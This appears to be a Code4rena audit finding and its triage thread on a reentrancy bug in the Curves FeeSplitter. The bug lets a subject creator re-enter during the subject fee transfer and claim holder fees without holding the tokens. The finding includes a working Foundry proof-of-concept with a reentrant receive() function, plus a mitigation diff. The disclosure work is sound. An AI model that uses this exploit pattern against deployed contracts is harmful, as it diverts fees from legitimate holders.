A subject creator within a single block can claim holder fees without holding due to unprotected reentrancy path

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L236-L241 https://gist.github.com/nuthan2x/bb0ecf745abfdc37ce374f6af0d83699#L17 https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80

Vulnerability details

Impact

• A subject creater can keep on claiming holder fees on every buy and sell transaction even when he doesn't hold the balance.

• This claiming of holder fees without holding is possible due to a combination of reentrancy and usage of call instead of transfer while transferring the subject fees.

• A subject can perform this attack by

  1. buy some curves initially
  2. mint and lock them in curves. The external minted tokens can be used on bridges or AMMs.
  3. Now, when someone buys/sells, subject fee is transferred on _transferFees call.
  4. Using this external call, the subject when receiving the ether, can withdraw tokens from bridge/AMM and then burn those tokens to get the curves. Then use those curves updated balance, to claim the updated holder fees. Then lock those curves again and mint external tokens, then lock them on Bridge/AMM.
  5. For attacker to claim this holder fees unethically, only once every two transactions of buy and sell. Because, the holder fee is updated after sending the subject fees. So previous update of the holders fees can be claimed only next time someone buys/sells.

Proof of Concept

• For readable POC see below, but for full foundry setup of the poc test, copy and paste this gist to test/Test.sol directory and run forge t --mt test_Attack_POC -vvvv

    bool claimThisTime; // claim once every two buy/sell transactions of the subject (reduce gas usage)
    bool holderFeeClaimOn; // dont do any reentrancy when holder fees are received, but reenter on only subject fee receiving time.

///////////////////////// POC //////////////////////////////////////////////

    function test_Attack_POC() public {
        deal(address(feeSplitter), 1 ether);

        // subject creator buying 10 more curves
        uint amountToSend = curves.getBuyPrice(address(CREATOR), 10) * 2;
        deal(address(this), amountToSend);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 10);

        // subject creator minting external tokens and supplies it to some uniswap pool or locked in bridge
        uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
        if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // tokens locking

        // claiming till now, to prove that this below attack is possible
        uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
        holderFeeClaimOn = true;
        if(claimable > 0) feeSplitter.claimFees(address(CREATOR));
        holderFeeClaimOn = false;

        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);

        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);
    }

    receive() external payable {
        if(holderFeeClaimOn) return;

        (, , address externalToken) = curves.externalCurvesTokens(address(CREATOR));
        claimThisTime = !claimThisTime;

        if(externalToken != address(0) && claimThisTime == true) {
            uint burnAmount = CurvesERC20(externalToken).balanceOf(address(this));  //  tokens unlocking
            if(burnAmount > 0) curves.deposit(address(CREATOR), burnAmount);

            uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
            if(claimable > 0) {
                holderFeeClaimOn = true;
                feeSplitter.claimFees(address(CREATOR));
                holderFeeClaimOn = false;
            } 

            uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
            if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // mintAmount tokens locking again, after claiming
        }
    }

Tools Used

Manual review and forge testing

Recommended Mitigation Steps

• Since this attack is possible for both subjects and referrers, mitigate as recommended below. Use transfer, instead of call on subject/referral fee transfers.
• So that only 2300 units of gas is alloted when receiving, and is not possible to perform any reentrancy attack.
• Or implement Reentrancy guard from openzeppelin library.

function _transferFees(
        address curvesTokenSubject,
        bool isBuy,
        uint256 price,
        uint256 ,
        uint256 
    ) internal {
        (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
        {
            bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
            {
                address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
                uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
                uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
                (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
                if (!success1) revert CannotSendFunds();
            }
            {
-               (bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
-               if (!success2) revert CannotSendFunds();
+               payable(curvesTokenSubject).transfer(subjectFee);
            }
            {
-               (bool success3, ) = referralDefined
-                   ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
-                   : (true, bytes(""));
-               if (!success3) revert CannotSendFunds();
+               if(referralDefined) payable(referralFeeDestination[curvesTokenSubject]).transfer(referralFee);
            }

            if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
                feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
                feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
            }
        }
    }

Assessed type

Reentrancy

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #51

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as not a duplicate

[c4-pre-sort]

raymondfam marked the issue as primary issue

[raymondfam]

data.userFeeOffset[account] = data.cumulativeFeePerToken will take care of it when updateFeeCredit() is triggered in claimFees(). You can only do it once. Additionally, this method pales in comparison to the #41 & #222 attacking path.

[andresaiello]

data.userFeeOffset[account] = data.cumulativeFeePerToken will take care of it when updateFeeCredit() is triggered in claimFees().

[c4-sponsor]

andresaiello (sponsor) disputed

[c4-judge]

alcueca marked the issue as satisfactory

[c4-judge]

alcueca marked issue #1211 as primary and marked this issue as a duplicate of 1211

[alcueca]

You can do it once per each buy/sell cycle, as I understand.

[c4-judge]

alcueca marked the issue as selected for report

[c4-judge]

alcueca removed the grade

[alcueca]

Issues related to loss of fees, and not loss of principal, are Medium.

[c4-judge]

alcueca changed the severity to 2 (Med Risk)

[andresaiello]

talked offline with alcueca, looks valid

[c4-sponsor]

andresaiello (sponsor) confirmed